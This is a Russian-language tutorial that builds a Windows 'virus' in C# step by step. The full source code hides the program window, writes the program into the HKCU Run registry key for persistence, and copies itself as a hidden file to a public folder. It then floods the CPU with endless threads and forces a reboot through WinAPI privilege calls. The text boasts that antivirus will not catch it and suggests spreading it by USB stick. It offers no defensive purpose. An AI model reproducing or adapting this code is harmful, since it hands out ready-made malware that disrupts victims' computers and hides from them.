Разработка: Этап 1. Создаем в Visual Studio проект Windows Forms Application, даем ему название, да любое в принципе название, например «system». В настройках проекта выбираем target framework 2.0. Сохраняем, и удаляем из файлов проекта using «Linq». Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства: — FormBorderStyle — None — Opacity — 0% — ShowIcon — False — ShowInTaskbar — False На этом первый этап можно считать завершенным, мы создали приложение которое будет работать на всех современных системах совершенно невидимо для пользователя. Можно проверить скомпилировав программу и запустив ее. Этап 2. На этом этапе я покажу некоторый код который понадобится. Что первым делом выполняют вирусы? Правильно - лезут в автозагрузку. Для этого добавим в проект класс с названием «autorun», и обьявим метод «SetAutorunValue» Код: public static bool SetAutorunValue(bool autorun, string npath) { const string name = "systems"; string ExePath = npath; RegistryKey reg; reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"); try { if (autorun) reg.SetValue(name, ExePath); else reg.DeleteValue(name); reg.Flush(); reg.Close(); } catch { return false; } return true; } Так как наше вредоносное ПО будет запускаться на Windows, добавим в проект класс размещенный. Это нужно для того чтоб программа могла определять систему в которой запущена, и копироваться в общую папку. Далее приведен код добавляющий в автозагрузку наше приложение: Код: public static string needPatch = "C:\\Users\\Public\\"; public Form1() { if (OSVersionInfo.Name == "Windows 10" || OSVersionInfo.Name == "Windows 8") { autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } else if (OSVersionInfo.Name == "Windows 7") { needPatch = "C:\\Documents and Settings\\All Users\\"; autorun.SetAutorunValue(true, needPatch + "system.exe"); // добавить в автозагрузку //SetAutorunValue(false, needPatch + "system.exe"); // убрать из автозагрузки } InitializeComponent(); } Теперь научим будущий вирус копироваться на компьютер в общую папку. Впишем код в событие Form1_Load: Код: if (!File.Exists(needPatch + "system.exe")) { try { File.Copy("system.exe", needPatch + "system.exe"); File.SetAttributes(needPatch + "system.exe", FileAttributes.Hidden); } catch { } } Программа самоскопировалась, и сделала себя скрытой. На этом можно завершить этап 2. Мы создали программу, которая невидима для пользователя, самокопируется на компьютер и прописывается в автозагрузку. Далее осталось наполнить программу функционалом. Этап 3. Пусть наш будущий вирус будет вызывать торможение системы и перезагрузку. Торможение системы реализуем следующим путем: бесконечно создаваемые потоки с бесконечным вычислением степени 2. Добавим следующий код в Form1.cs Код: public static void sys_sleep() { while (true) { Thread s = new Thread(s_b); s.Start(); } } private static void s_b() { int y = 2; while (true) { y *= y; } } С перезагрузкой посложнее, прибегнем к помощи WINAPI, допишем следующее: Код: [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } [DllImport("kernel32.dll", ExactSpelling = true)] internal static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool ExitWindowsEx(int flg, int rea); internal const int EWX_REBOOT = 0x00000002; internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege"; internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public static Thread thread1; public static void DoExitWin(int flg) { bool ok; TokPriv1Luid tp; IntPtr hproc = GetCurrentProcess(); IntPtr htok = IntPtr.Zero; ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid); ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); ok = ExitWindowsEx(flg, 0); } Теперь опишем метод, который по таймеру будет вызывать эффекты работы нашей программы: Код: public static void start() { Stopwatch sw = new Stopwatch(); sw.Start(); bool b = true; bool pl = false; while (b) { if (sw.ElapsedMilliseconds > 20000) { if (!pl) { Thread g = new Thread(sys_sleep); g.Start(); pl = true; } } if (sw.ElapsedMilliseconds > 45000) { DoExitWin(EWX_REBOOT); b = false; } } } Метод Start() будем вызывать в Form1_Load. Эта программа будет тормозить систему через 20 секунд, и перезагружаться на 45-й секунде работы. Можно смело компилировать набранный код, скидывать полученную exe-шку на флешку и проверять созданный Вами вирус. При запуске с флешки, программа самоскопируется, начнет тормозить систему и перезагрузит ее, после перезагрузки системы программа запустится через автозагрузку и продолжит свою работу. Антивирусы будут молчать, скромно наблюдая за беспорядками, которые выдает Ваша программа, ведь придраться то им не к чему.